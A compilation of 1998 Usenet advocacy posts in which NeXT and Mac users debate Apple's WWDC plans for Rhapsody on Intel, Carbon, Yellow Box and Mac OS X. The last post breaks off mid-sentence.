the unix-phobia is well founded.
-Bob Cassidy
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Thu, 14 May 1998 06:29:34 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355AD59E.5A24944D@milestonerdl.com>
References: <ericb-1105981718430001@132.236.171.104> <355A3418.4A8D@stetson.edu> <6jdf04$5f5$1@crib.bevc.blacksburg.va.us> <355A36A9.770CD512@milestonerdl.com> <6je88a$653$1@crib.bevc.blacksburg.va.us>
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Nathan Urban wrote:
> In article <355A36A9.770CD512@milestonerdl.com>, mark@milestonerdl.com wrote:
> > Nathan Urban wrote:
> > > I don't think Apple regards Rhapsody/Intel as nearly as important as
> > > Rhapsody/PPC, but it appears that they think enough of it to keep it
> > > around, based on their actions.
> > Keep it around is not the same as working to support it.
> We already discussed the effort involved on Apple's part to do this:
> minimal. It uses the same code as Rhapsody/PPC!
And when Rhapsody/PPC goes away? What I saw from the slides, the plan is it
WILL go away. And why shouldn't it?
Rhapsody/PPC gone, Rhapsody on Intel will go away.
From: Christian Neuss <neuss.@informatik.th-darmstadt.de.nos-pam>
Newsgroups: comp.sys.next.advocacy
Subject: Re: OpenStep for Windoze $20?
Date: 14 May 1998 11:26:30 GMT
Organization: Technische Universitaet Darmstadt
Message-ID: <6jekd6$fqr$2@sun27.hrz.tu-darmstadt.de>
References: <6jboq5$eua$9@news.idiom.com> <6jchqg$1cc$21@ironhorse.plsys.co.uk> <slrn6ljskk.p80.sal@panix3.panix.com> <3559F5D4.96E43F72@unet.univie.ac.at> <slrn6lkdcp.o39.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6jdenk$53h$3@news.xmission.com> <6jee5v$job$1@leonie.object-factory.com>
holger@object-factory.REMOVETHIS.com (Holger Hoffstaette) wrote:
>Simple solution - and a hint to Apple: simply make the YB installer spew
>YB stuff all over the \Win\System directory! Completely compatible with
>the rest of the scrap heap, and acts like a good Windhose citizen,
>too! 8-)
Good point, Holgi.. and they should start with the prefix "MS", like,
uhm, "Mach Server", or so. Seriously, calling the directory APPLE
was a very bad idea.
>Object Architect, Object Factory GmbH | It's like a jungle sometimes,
>@work: holger"at"object-factory.com | it makes me wonder
>@home: hhoff"at"ragnarok.en.uunet.de | how I keep from going under
I can't take the smell, I can't take the noise...
Rgds, Chris
--
// Christian Neuss "static typing? how quaint.."
// http://www.nexttoyou.de/~neuss/
// fax: (+49) 6151 16 5472
From: Christian Neuss <neuss.@informatik.th-darmstadt.de.nos-pam>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X
Date: 14 May 1998 11:20:54 GMT
Organization: Technische Universitaet Darmstadt
Message-ID: <6jek2m$fqr$1@sun27.hrz.tu-darmstadt.de>
References: <6j7roi$m57$1@nnrp1.dejanews.com> <slrn6lev9v.4k9.sal@panix3.panix.com> <rmcassid-1105981604220001@dante.eng.uci.edu> <slrn6lfjer.l9u.sal@panix3.panix.com> <rmcassid-1105982343080001@dialin33418.slip.uci.edu> <6j9one$h2q$1@sun27.hrz.tu-darmstadt.de> <6jchfe$1cc$20@ironhorse.plsys.co.uk> <6jcv10$674$1@nnrp1.dejanews.com>
spagiola@my-dejanews.com wrote:
>mmalcolm crawford <malcolm@plsys.co.uk> wrote:
>> > If I stuck myself with in the head with a pencil, would it hurt?
>>
>> Actually I think it was:
>> "If I stick myself in the head with this pencil, will it hurt?"
>> Yes, it will.
>> :-)
Thanks, Malcolm. You're right of course.
>>
>> (long time NeXT users will understand this...)
>
>
>Aaaah.... memories!
A great ad. I always wanted it framed, but didn't want to take
apart the copy of NeXTworld it was in. I've heard there were
T-shirts that just said "Yes, it will", but I've never seen
one.
Regards, Chris
(Somewhat more optimistic now.. if AppLE dumps DPS, they are
probably serious with YB/NT.. which means they are probably
serious with YB/X, which means we'll still have business in
a year's time :-)
--
// Christian Neuss "static typing? how quaint.."
// http://www.nexttoyou.de/~neuss/
// fax: (+49) 6151 16 5472
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple Dumps Display Postscript in Rhapsody
Date: Wed, 13 May 1998 10:48:52 -0700
Organization: UC Irvine
Message-ID: <rmcassid-1305981048520001@dante.eng.uci.edu>
References: <_La61.80$5g3.847607@news.rdc1.sfba.home.com> <6jbn80$eua$7@news.idiom.com>
In article <6jbn80$eua$7@news.idiom.com>, jcr.remove@this.phrase.idiom.com
wrote:
>-> Well, not quite, but close enough. What they said is that they will be
>-> keeping the DPS imaging model, but will/may be getting rid of the
>-> Postscript language layer.
>
>Well, if it's a *maybe*, then we need to raise the hue and cry just like we
>did over the attempt to bugger the syntax of Objective-C.
Remember the comment by the Adobe guy during the keynote about Apple and
Adobe butting heads. I suspect this is why. This sounds *very* much like
Apple doesn't want to pay for DPS, Adobe isn't giving in, so Apple
threatens to dump them. The Postscript language layer *might* be replaced
by the Ghostscript language layer, and nothing more. This sounds political
to me, especially given Mikes general support for PS. Who knows, maybe
Apple really has something better than both...
We'll know in a few days.
-Bob Cassidy
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Thu, 14 May 1998 06:37:42 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355AD786.FD81A010@milestonerdl.com>
References: <pulsar-ya02408000R1305981524440001@news-proxy.cso.uiuc.edu> <B1800144-FB3B5@204.31.112.110>
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Phil Brewster wrote:
> According to the Current Plan (tm), it will include BSD (see references
> below), but not as a default user environment. One of the slides from the
> 'Core OS Architecture' session at WWDC yesterday indicated that BSD UNIX
> will be 'well-hidden', but nonetheless available as an 'optional
> environment for power users and developers', on MacOS X.
Yet, in some private e-mail, a gent said a friend works at Apple and he said
that it ain't so.
If Rhapsody/PPC goes away, AND users are using 'purple box' (Purple is a royal
color), there will be Unix under MaxOS X.
Apple has 16-18 months to deliver....it would be nice to see Unix support under
MacOS X - but then what's the diff between Rhapsody/PPC and MacOS X?
From: sbrando@music.gla.ac.uk (Stephen Brandon - please fix my surname in my email address)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 14 May 1998 12:31:49 GMT
Organization: University of Glasgow
Distribution: world
Message-ID: <6jeo7l$nqt@singer.cent.gla.ac.uk>
References: <6jed3f$kfa$1@larry.admin.phil.uu.nl>
In article <6jed3f$kfa$1@larry.admin.phil.uu.nl> freek@phil.uu.nl (Freek
Wiedijk) writes:
> Kristofer:
> >: Any hint of this and Apple has lost a developer and a User.
> >Sticking with Rhapsody on Intel could mean keeping an entire
> >group of users at my company, around 120 writers and
> >engineers.
> They probably lost _us_ (my site, that is.) We were betting
> on Rhapsody to show that Apple could still innovate and
> deliver. Our management gave us to January 1999. Ah well,
> time to learn something about Windows NT (or to start looking
> for a new job :-))
> Freek
And us. University policy here is very anti-Mac so we can't purchase their
hardware. I was hoping to go with Rhapsody/Intel, but it looks like there
is no mainstream future for it, and none of the wealth of apps that would
start to appear if Apple were to support it fully, instead of relegating
it to second best ("server platform").
I am *so* depressed about the real possibility of having to move over to
Windows. But at least there are compelling music applications there!
That's what really counts.
Stephen Brandon
Systems Administrator,
Department of Music, e-mail: S.Brandon@music.gla.ac.uk
14 University Gardens, (NeXT mail welcomed)
University of Glasgow, Tel: +44 (0)141 330 6065
Glasgow. Fax: +44 (0)141 330 3518
Scotland
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Thu, 14 May 1998 06:09:34 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355AD0ED.5080FC89@milestonerdl.com>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <35593b48.6388203@198.0.0.100> <stevenj-ya02408000R1105982034070001@news.mit.edu> <6j9iob$ga2$1@larry.admin.phil.uu.nl> <stevehix-1305981543110001@ip53.safemail.com> <355A1998.E76DCAE7@milestonerdl.com> <see-below-1305982120500001@209.24.241.190>
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Matthew Vaughan wrote:
> In article <355A1998.E76DCAE7@milestonerdl.com>, mark@milestonerdl.com up
> shipping to customers (after CR1) as MacOS X.
> >
> > That maps out the PPC.
> >
> > And the Intel version map is?
> There is no consumer map for Rhapsody for Intel. It is the same as it
> always was: developers, servers, and custom workstation installations,
> using Yellow Box only.
> This hasn't changed at all.
Well great. So, where is this map laid out?
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Thu, 14 May 1998 06:50:56 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355ADAA0.4CE902A1@milestonerdl.com>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu> <Esu3v3.365@micmac.com> <see-below-1205981743380001@209.24.240.213> <EsvyFs.7qK@micmac.com> <6jco3t$6ns$3@msunews.cl.msu.edu> <6jd1ov$1a3$1@xmission.xmission.com> <see-below-1305982109180001@209.24.241.190>
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Matthew Vaughan wrote:
> I would like to hear their plans, too. I suspect they _will_ sell Rhapsody
> for Intel, but without Blue Box and Carbon. So it will only run Yellow Box
> applications (and other unix stuff, as well as Windows on the same machine
> - if you want it - and perhaps in a SoftWindows-type environment). Which
> should make the current OpenStep users happy, and make a fine server OS,
> and work fine for certain workstation applications as well. But at the
> same time it won't at all compete with MacOS/Rhapsody PPC for Apple's
> current customers, which is good for Apple's bottom line (considering it's
> their gross margins on PPC Mac hardware that's paying for all this great
> stuff!)
As Apple makes its money on PPC hardware, and the above points out how Apple
might just be planning on a bait and switch.
The more YellowBox platforms supported, and the further in the future that
support is pledged, the more likely YellowBox isn't a bait-and-switch ploy.
From: rex@smallandmighty.com (Eric King)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Thu, 14 May 1998 08:32:49 -0400
Organization: The Small & Mighty Group
Message-ID: <rex-1405980832500001@192.168.0.3>
References: <djboccip-1305981552470001@qburst.msfc.nasa.gov> <B17F8171-2CCAA@206.165.43.40> <355A7F01.2DC4FA27@trilithon.com>
In article <355A7F01.2DC4FA27@trilithon.com>, Henry McGilton
<henry@trilithon.com> wrote:
:Perusing book titles on the subject of "GX", I find that
:Apple published seven volumes (with the emphasis on volume, as
:opposed to useful content) on the "Inside Macintosh --- QuickDraw
:GX series.
Still much better than Next's DPS documentation which is filled with
statements like 'Don't use this function if you are using the Appkit'
:Care to name the companies and the apps? After all, as a
:QDGX panegyrist, you should have all this information at your
:fingertips, or somewhere.
The companies have all been mentioned before in the GX vs. DPS debates.
GX apps have always gotten at least good reviews in the Mac press several
have gotten stellar reviews. Here's a partial list off the top of my head.
SoftPress: UniQorn & Freeway. Lari Software: LightningDraw GX (Still
cooler than what I've seen of Create) and Electrifier. Paceworks: Object
Dancer. Multi-Ad: Creator2
You can look up the relevant reviews in MacWeek, MacWorld and MacUser
yourself. You can make fun of the number of GX manuals or its poor
adoption by developers, but the fact of the matter is GX apps are selling
well. And believe me, it's not due to *any* marketing support on Apple's
part.
-Eric
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Carbon features: NO Quickdraw !!
Date: Wed, 13 May 1998 11:02:42 -0700
Organization: UC Irvine
Message-ID: <rmcassid-1305981102420001@dante.eng.uci.edu>
References: <6j9631$61c$1@news.tudelft.nl> <1d8xt9j.1q6dg7q11738g0N@cetus181.wco.com>
In article <1d8xt9j.1q6dg7q11738g0N@cetus181.wco.com>, mpaque@wco.com
(Mike Paquette) wrote:
>Abraham Guyt <guyt@is.twi.tudelft.nl> wrote:
>> Below a repost of a mac.advocacy newspost. One very important aspect is
>> that Quickdraw is NOT supported by Carbon.
>
>This turns out not to be the case. QuickDraw is an integral element of
>the Carbon APIs, and will see substantial enhancements for MacOS X.
But is Quickdraw actually there? The confusion for some of us is whether
the underlying managers are there or not. Either core managers of the
MacOS are being rewritten to be reentrant and so on (seems wasteful and
chillingly Coplandesque), or Carbon simply maps MacOS APIs to Rhapsody
kits in a Lattitude fashion.
-Bob Cassidy
From: jq@papoose.quick.com (James E. Quick)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 14 May 1998 07:37:44 -0400
Organization: Quick and Associates
Message-ID: <6jel28$68h@papoose.quick.com>
References: <rmcassid-1205981503570001@dante.eng.uci.edu> <B17F28B5-4A05F@206.165.43.172>
In article <B17F28B5-4A05F@206.165.43.172>,
Lawson English <english@primenet.com> wrote:
>Robert Cassidy <rmcassid@uci.edu> said:
>
>>Clearly the MacOS people don't belive in rewriting apps. Hell, even the
>>Windows people won't buy that one. So Apple will hand hold them, feed them
>>a little here, and a little there, and so on until they get there. It's
>>68k -> PPC all over again folks.
>>
>>If true, Carbon apps could be every bit as cross-platform as YellowBox
>>apps.
>
>I'm not so sure. There's endian issues in there someplace, I think.
All of the IO in frameworks is already endian neutral. Only
individual structures defined by the application itself could be
unsafe. There are conversion and IO routines provided for the
developer to make these safe.
No, there is no free lunch. Folks will still have to think about
their data structures and convert small amounts of code to make
their data files work accross endian boundaries, but it's not hard
to do. In fact, by reanalyzing the smaller I/O issues of the
application and porting those pieces to use the system supplied
routines, many apps will probably be more easily maintainable in
the long run.
I fully expect the Carbon+Yellow frameworks to be portable to
different CPU architectures. Some apps may require their data
structures used on disk to run cleanly this way, but this seems a
small price to pay.
--
___ ___ | James E. Quick jq@quick.com
/ / / | Quick & Associates NeXTMail O.K.
\_/ (_\/ | If only the HMO would cover my allergy to gravity...
) | Blue skies, and soft landings.
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Thu, 14 May 1998 13:13:31 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6jeqlq$1hv$1@nnrp1.dejanews.com>
References: <ericb-1105981718430001@132.236.171.104> <1d8xsi0.kqhkhi73wgzsN@cetus181.wco.com> <6jbg5p$3fg$1@crib.bevc.blacksburg.va.us> <andyba-ya02408000R1305981555450001@news> <6jdaui$5bc$1@crib.bevc.blacksburg.va.us>
nurban@vt.edu wrote:
> ... MacOS users (e.g., OS 7.x
> or 8 users) who haven't or can't upgrade to OS X or Rhapsody (e.g.,
> hardware requirements) should still have a YB solution so developers
> can target them too with new apps.
Follow that path to its logical conclusion and you get a lobotomized OS like
Windows, which tries so desparately to maintain compatibility (without
succeeding) that everything else suffers.
Face it: something like Yellow Box needs substantial hardware resources. If
you don't have those resources (by your assumption) you won't get it. If you
do, you can get it, by getting Mac OS X.
Stefano Pagiola
spagiola@my-dejanews.com
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows 95/NT user, future
Rhapsody user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: Tim Triemstra <nospam@nospam.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Nobody's screwed! (was: Apple screws Rhapsody *and* Mac owners?)
Date: Thu, 14 May 1998 09:21:17 -0700
Organization: PM Global Foods, LLC
Message-ID: <355B19FD.4B662E7B@nospam.com>
References: <ericb-1105981718430001@132.236.171.104> <Esu12F.2yG@micmac.com>
<slrn6lgnva.l2e.sal@panix3.panix.com> <01bd7de2$cca75080$04387880@test1> <EsvywM.7vy@micmac.com>
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Michel Coste wrote:
>
> Well you have the analysis of Wired & MacWeek...........
>
> My analysis is that it makes perfect sense to put Carbon on Intel...
> It's quite possible and desirable and I stress it's in the plan of Steve
> Jobs.
>
> I'm following Steve's strategy since the early eighties and I'm 'beginning'
> to see where he's headed... =;)
What the hell are you talking about? Apple never shared technology and
cancelled licensing (and was never great at it in the first place.)
They never pushed for apps enough at critical times then Jobs left.
What happened to NeXT? Did you not recall NeXT's less than a trace
market share (we ran them though.) Did you not see the low number of
apps for a platform with significantly lower time to market than
Windows. What part of Steve Jobs strategy since the early 80's makes
you think he will be supporting Intel? Did you ever see the costs of a
"certified" NeXT Intel machines? Have you ever looked at the driver
listings for NeXTSTEP?
Steve is a great person for the developer, but he has no history in ever
growing the business. I would want noone else to define the platform I
develop apps for, but there is noone I would more distrust to make good
long-term business decisions. He has a lot of charisma and he is doing
great short term, but the long term has already changed three times
since he got back to Apple. Apple OWNED the computer world and are now
4%.
--
Tim Triemstra . TimT at PMGLOBAL dot COM
PM Global Foods, LLC ... Atlanta GA USA
My home page: www.mindspring.com/~timtr
From: Tim Triemstra <nospam@nospam.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
Date: Thu, 14 May 1998 09:32:49 -0700
Organization: PM Global Foods, LLC
Message-ID: <355B1CB1.741AE5D@nospam.com>
References: <1d8xs8m.mqho5znnswjkN@amtmtc.demon.co.uk> <zi461.1949$sy4.3542379@news.rdc1.sdca.home.com> <EsvxtF.7G0@micmac.com>
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Michel Coste wrote:
>
> This was written in comp.sys.next.advocacy,comp.sys.mac.advocacy
> (<zi461.1949$sy4.3542379@news.rdc1.sdca.home.com>) by Rex Riley:
>
> > You obviously haven't been around the Steve long enough to appreciate the
> > comment. Let me phrase this as concise as possible. Developers just went
> > from a compile once - deploy elsewhere to a compile once - deploy once.
> >
>
> Where have you seen that MacOSX won't be deployed _somewhere_ else?
>
> The fact that it is not written or said doesn't mean it won't happen...
I have read articles on both Inforworld electric and on PC Week online
that quote Apple managers as sepcifically stating that Mac OS X and
Carbon _will not_ be ported to Intel. One quote mentioned that they
would re-evaluate once Merced is shipping.
--
Tim Triemstra . TimT at PMGLOBAL dot COM
PM Global Foods, LLC ... Atlanta GA USA
My home page: www.mindspring.com/~timtr
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OSX - What I See vs What I Want
References: <forrestDELETE-THIS!-1205981303210001@term4-3.vta.west.net> <6javob$tpe$1@reader1.reader.news.ozemail.net> <35590EE4.9858E645@unet.univie.ac.at> <rkt1-1305981646450001@cu-dialup-0423.cit.cornell.edu> <355A14F6.3A0CD0CB@unet.univie.ac.at> <rkt1-1405980303590001@cu-dialup-0227.cit.cornell.edu> <see-below-1405980102500001@209.24.241.190>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <355af407.0@206.25.228.5>
Date: 14 May 98 13:39:19 GMT
see-below@not-my-address.com (Matthew Vaughan) wrote:
> In article <rkt1-1405980303590001@cu-dialup-0227.cit.cornell.edu>,
> rkt1@cornell.eduz (Tapella) wrote:
> Nicely put. Mac users don't want unix, or any other system, so
> much as they want a better MacOS. Conversely, they don't really
> care if it's got unix underneath, so long as it still looks and
> feels like MacOS to them.
I disagree to some extent. To me it seems like some mac users not
only dont want unix, but they don't want others to be able to use
it if they don't. Heaven forbid (i.e. apple) if others might
actually make use of something they don't feel like learning. So
in some twisted fashion and perhaps for reasons of fearing falling
behind in technical prowess they will begrudge others the opportunity
to use better technology.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: Tim Triemstra <nospam@nospam.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
Date: Thu, 14 May 1998 09:35:11 -0700
Organization: PM Global Foods, LLC
Message-ID: <355B1D3F.27453C81@nospam.com>
References: <1d8xs8m.mqho5znnswjkN@amtmtc.demon.co.uk> <zi461.1949$sy4.3542379@news.rdc1.sdca.home.com> <EsvxtF.7G0@micmac.com> <see-below-1305982328510001@209.24.241.190>
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Matthew Vaughan wrote:
> Also, Rex's statement is incorrect. Developers went from a
> start-from-scratch major rewrite, compile once, deploy elsewhere to a
> minor touch up, compile once, deploy once situation.
True, but how is touching up old Mac OS apps going to increase market
share? I agree it is important, but if Apple doesn't stop making it
sound like this is "the way" to the future for Apple, we'll never see
any Yellow apps.
> They still have the yellow box option as before.
True, but will Yellow Run on anything other than Mac OS X (which will
only run on Macs) in the next couple years? If not, then Yellow is just
another API for the same system, so why bother with it at all, just
write for Carbon...
--
Tim Triemstra . TimT at PMGLOBAL dot COM
PM Global Foods, LLC ... Atlanta GA USA
My home page: www.mindspring.com/~timtr
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Thu, 14 May 1998 13:03:48 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6jeq3m$fu$1@nnrp1.dejanews.com>
References: <6jbg4l$qi3$2@canopus.cc.umanitoba.ca> <6jcn9b$6ns$2@msunews.cl.msu.edu> <3559DA0F.8F00D835@milestonerdl.com> <6jd4f5$ehq$1@nnrp1.dejanews.com> <355A171A.4F4F20C8@milestonerdl.com>
mark@milestonerdl.com wrote:
> spagiola@my-dejanews.com wrote:
> > > Adobe has a cross-platform product for Windows. To get them on
> > > YellowBox, you need to offer more.
> >
> > Right, except that as things stand, being cross-platform means that
> > Adobe has to maintain two quite distinct code bases for their Mac
> > and Windows products.
>
> They why didn't they do this?
> Not enuf OSes Adobe could expand into?
> Or, does Adobe know that YellowBox cross-platform is dead?
Bear in mind that Adobe ported to Windows BEFORE anything like Yellow Box was
even envisaged. So now you're Adobe, and Apple comes along and offers you
Yellow Box. But Apple has a shrinking market share and its future is
uncertain. Going to the effort of re-writing your apps for Yellow Box may not
seem like such a good bet, especially since you've already re-written them for
Windows anyway. So you decide to wait and see if Yellow Box succeeds. But now
you have your classic chicken-and-egg problem. Without support from the likes
of Adobe, Yellow Box is unlikely to succeed, but Adobe won't support it unless
its likely to succeed.
The new strategy breaks this dilemma by letting Adobe move forward with minor
changes to its current code-base, thus guaranteeing the presence of its apps
on a platform in which Yellow Box is also present. Users no longer have to
choose between Adobe apps and Yellow Box apps; they get both. And in the long
run, Yellow Box will come to dominate because its so much better than what the
old APIs offered. Adobe gains time before it HAS to migrate or quit, since its
current apps gain the benefits of multitasking etc. And users gain slightly
improved Adobe apps while they wait for the two gals in the garage to come up
with a much better alternative.
It's actually a great plan; too bad Apple presented it in a way that got
everyone so confused.
Stefano Pagiola
spagiola@my-dejanews.com
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows 95/NT user, future
Rhapsody user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
References: <6jed3f$kfa$1@larry.admin.phil.uu.nl> <6jeo7l$nqt@singer.cent.gla.ac.uk>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <355af27c.0@206.25.228.5>
Date: 14 May 98 13:32:44 GMT
sbrando@music.gla.ac.uk (Stephen Brandon - please fix my surname
in my email address) wrote:
> In article <6jed3f$kfa$1@larry.admin.phil.uu.nl> freek@phil.uu.nl
> (Freek Wiedijk) writes: And us. University policy here is very
> anti-Mac so we can't purchase their hardware. I was hoping to
> go with Rhapsody/Intel, but it looks like there is no mainstream
> future for it, and none of the wealth of apps that would start
> to appear if Apple were to support it fully, instead of relegating
> it to second best ("server platform").
> I am *so* depressed about the real possibility of having to move
> over to Windows. But at least there are compelling music
> applications there! That's what really counts.
I have no good reason for this, but I'm getting that sick "another
dumbass idiot apple strategic direction into proprietary arrogance"
feeling from all of this. I hope I'm wrong here as I've been on
numerous occasions in the past. But this seems just like typical
apple avarice in trying to push their vision in only their package.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: Tim Triemstra <nospam@nospam.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Lots of misinformation
Date: Thu, 14 May 1998 09:30:13 -0700
Organization: PM Global Foods, LLC
Message-ID: <355B1C15.83CCAA4D@nospam.com>
References: <01bd7de2$cfc7f170$04387880@test1> <3558CD7D.5327CAB0@unet.univie.ac.at> <35593144.34FC9080@nstar.net> <slrn6ljdh9.p80.sal@panix3.panix.com>
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Salvatore Denaro wrote:
>
> If you replace "idealism" with "religion" I would agree 1000%. Steve is
> meeting the MacOS developers half way with carbon. He is offering them
> a way to protect thier investments while at the same time, giving them
> the new OS foundation that they have been asking for. Everyone wins.
I am 100% in favor of them adding Carbon. This will keep Mac alive
while Steve works out a long term plan. However, the thing that bothers
me is his statement that he didn't like the idea of two OS's in his long
term strategy. Can anyone tell me how you can possibly here "no 2 OS
strategy" and "no port to Intel of Mac OS X" and think that doesn't mean
that Rhapsody is going away for Intel?
> Rhapsody gets more Apps, Developers get to keep thier curerent source
> code and users get a better OS. I don't see any downside other than the
> 15 month wait for OSX.
This is debatable. How does Rhapsody get more apps? As much as Carbon
is needed, it is also a hobbling factor in the area of Rhapsody. The
simple fact is that you will not get many people jumping onto Rhapsody
that weren't already NeXT or Mac developers - at least not until the
platform picks up some steam. Given that, Carbon cuts away a portion of
those potential Rhapsody developers by telling them to just port their
existing Mac OS apps. Not that I'm against that, but you must admit
this doesn't result in more Rhapsody apps. The good thing for Rhapsody
is that it appears that a Yellow Box app will still likely run better on
Mac OS X than a Carbon app since it should be "more native". Apple
should stress this so that people understand new apps should be written
in Yellow Box. From everything I've read, I have been given no such
impression. In fact, I haven't read a single thing encouraging me to
write for Rhapsody in months.
--
Tim Triemstra . TimT at PMGLOBAL dot COM
PM Global Foods, LLC ... Atlanta GA USA
My home page: www.mindspring.com/~timtr
From: Tim Triemstra <nospam@nospam.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Nobody's screwed! (was: Apple screws Rhapsody *and* Mac owners?)
Date: Thu, 14 May 1998 09:15:29 -0700
Organization: PM Global Foods, LLC
Message-ID: <355B18A1.E7370B93@nospam.com>
References: <ericb-1105981718430001@132.236.171.104> <Esu12F.2yG@micmac.com> <slrn6lgnva.l2e.sal@panix3.panix.com> <EsvyKp.7tA@micmac.com> <see-below-1305981927430001@209.24.241.190>
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Matthew Vaughan wrote:
>
> This actually makes that part of their future much clearer - Rhapsody can
> be made available on Intel without risk of existing Mac customers
> switching, since it won't provide at all the same selection of
> applications.
It makes *everything* so much clearer since *noone* with switch to
Rhapsody. It is a version of Unix for a company that has no Unix
experience. It has no applications and will likely not even exist in 3
years since it will compete with Mac OS X and Apple's only priority
right now seems to be to keep making Mac OS apps. The fact that
Rhapsody apps can run in Mac OS X is like Win16 apps running under
OS/2. Guess what, OS/2 has virtually no market share even though it
could run apps that actually exist. Unless significant change is made
in Apple's stance you will not see Rhapsody in three years and you'll
never see even reasonably good Intel support.
They are claiming that Rhapsody is a server platform: where's the RAID
support? Where's all the web servers? Where's the printer drivers?
What will it serve and who will choose it instead of NT or straight Unix
when it isn't marketed as a client (thereby no apps)? I run NeXT in my
office and it is a GREAT client. It does everything an NC is supposed
to do. Yet they are "merging" it into Mac OS X and we'll never see
decent Intel support.
I hope Apple is satisfied with 1% market share cause they sure aren't
going to grow any...
--
Tim Triemstra . TimT at PMGLOBAL dot COM
PM Global Foods, LLC ... Atlanta GA USA
My home page: www.mindspring.com/~timtr
From: Tim Triemstra <nospam@nospam.com>
Newsgroups: comp.sys.next.advocacy
Subject: Compare Microsoft to Apple
Date: Thu, 14 May 1998 09:49:17 -0700
Organization: PM Global Foods, LLC
Message-ID: <355B208D.5DD5BA80@nospam.com>
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This isn't supposed to be political, this is just a comparison as I
understand it and a question.
Microsoft Apple
--------- -----
Before: Windows 3.1 Mac OS 8 and before
Present: Windows 95 and NT Mac OS X and Rhapsody
- Both support Win32 API - Both support Yellow Box
- NT is cross platform - Rhapsody is cross platform
- Win95 supports Win 3.1 apps - Mac OS X support Mac OS 8 apps
Future: NT and 9x converge Mac OS and Rhapsody converge
- Win32 apps are the only native - Yellow Box apps are only native
This is my percieved future of the Apple OS's, but I may be wrong. The
thing that I find most crucial is the development tools issue. For
instance, Microsoft pretty much stopped all Win16 development
immediately after Windows 95 was released. They then started working to
make sure that apps worked identical on both NT and 95 (and made the UI
identical in most ways.) If Rhapsody is continued to be developed for
Intel, and is made identical to Mac OS X in every way except in Carbon
support then great. The only concern is that the development tools be
made to push new apps, and converted old apps, to be developed for
Yellow Box.
The original hope I think many of us had was that a Yellow Box for Mac
OS would exist before the Mac OS X timeframe. This would allow us to
get started on Yellow Box apps immediately and have a market to sell to
within the year. The appears to be false. The other problem I have is
the complete lack of press regarding the importance of Yellow Box as of
late (not only at WWDC but in general.) This is in contrast to
Microsoft who was pushing Win32 like it was already shipping for a long
time before win95 was available. I'd like to see the Win32s version of
Yellow Box for Mac OS soon. I'd like to see CodeWarrior for Yellow Box
as well as Rhapsody release for Intel and PowerPC. Then the Carbon can
